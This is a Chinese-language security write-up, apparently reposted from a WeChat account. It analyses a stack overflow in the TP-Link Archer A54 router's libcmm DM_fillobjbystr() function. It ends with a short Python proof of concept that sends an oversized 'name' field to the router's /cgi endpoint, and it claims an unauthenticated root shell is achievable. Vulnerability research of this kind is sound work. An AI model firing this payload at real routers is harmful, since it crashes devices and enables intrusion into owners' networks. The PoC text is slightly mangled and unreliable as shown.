TP-Link Archer A54 堆栈溢出

IoT 2年前 (2022) admin
699 0 0

点击上方蓝字“Ots安全”一起玩

概述

  • 国内漏洞库地址:https ://www.cnvd.org.cn/

  • 厂商网站信息:https://www.tp-link.com/us/

  • 固件下载地址:https ://www.tp-link.com/us/support/download/

  • 厂商安全反馈地址:https://www.tp-link.com/us/press/security-advisory/

1. 受影响的版本

TP-Link Archer A54 堆栈溢出

图1 官网最新固件


2.漏洞详情

栈溢出漏洞的主要原因是在 libcmm 所以库函数 DM_fillobjbystr() 中,该函数会处理前端返回的 key = value 的值。下面以修改httpd密码为例介绍该漏洞的传播路径。Httpd 程序在接收到 oldpwd、PWD 和 name 时不检查长度。使用 sprintf 拼接这些变量后,第一个传播函数是 RDP_setObj()。

TP-Link Archer A54 堆栈溢出

图2 漏洞传播位置1


这个函数称为 RDP_setobj() 调用 DM_Fillobjbystr() 函数进行下一步。

TP-Link Archer A54 堆栈溢出

图3 漏洞传播位置2


然后在 DM_Fillobjbystr() 中直接调用 strncpy 将输入内容复制到局部变量 V26 中。如图7所示,变量大小为1304,可以溢出;同时,如图6所示,strncpy的拷贝长度为’=’和’n’之间的字符长度,不做限制也不勾选。所以拷贝长度是可控的,这个位置存在栈溢出漏洞。这里的第二个红框是测试崩溃的位置。

TP-Link Archer A54 堆栈溢出

图4 溢出位置和崩溃位置

TP-Link Archer A54 堆栈溢出

图5 可控拷贝长度

TP-Link Archer A54 堆栈溢出

图6 局部变量溢出大小


3. 反复出现的漏洞和 POC

为了重现漏洞,可以遵循以下步骤:


  1. 使用胖仿真固件archer_A54v1_US_0.9.1_0.2_up_boot[210111-rel37983]。斌

  2. 使用以下 POC 攻击进行攻击

import requests
headers = {"Host": "192.168.0.1","User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0","Accept": "*/*","Accept-Language": "en-US,en;q=0.5","Accept-Encoding": "gzip, deflate","Content-Type": "text/plain","Content-Length": "78","Origin": "http://192.168.0.1","Connection": "close","Referer": "http://192.168.0.1/"}
payload = "a" * 2048formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3rnname={}rnoldPwd=adminrnpwd=lys123rn".format(payload)
url = "http://192.168.0.1/cgi?8"
response = requests.post(url, data=formdata, headers=headers)print response.text

复现结果如下:

TP-Link Archer A54 堆栈溢出

图 7 POC 攻击效果


最后可以写exp,可以达到很稳定的获取root shell的效果,不需要任何密码登录访问路由器。这是一个未经授权的 rce 漏洞。(如下图,没有网页登录)

TP-Link Archer A54 堆栈溢出

TP-Link Archer A54 堆栈溢出


原文始发于微信公众号(Ots安全):TP-Link Archer A54 堆栈溢出

版权声明:admin 发表于 2022年3月9日 上午8:51。
转载请注明:TP-Link Archer A54 堆栈溢出 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...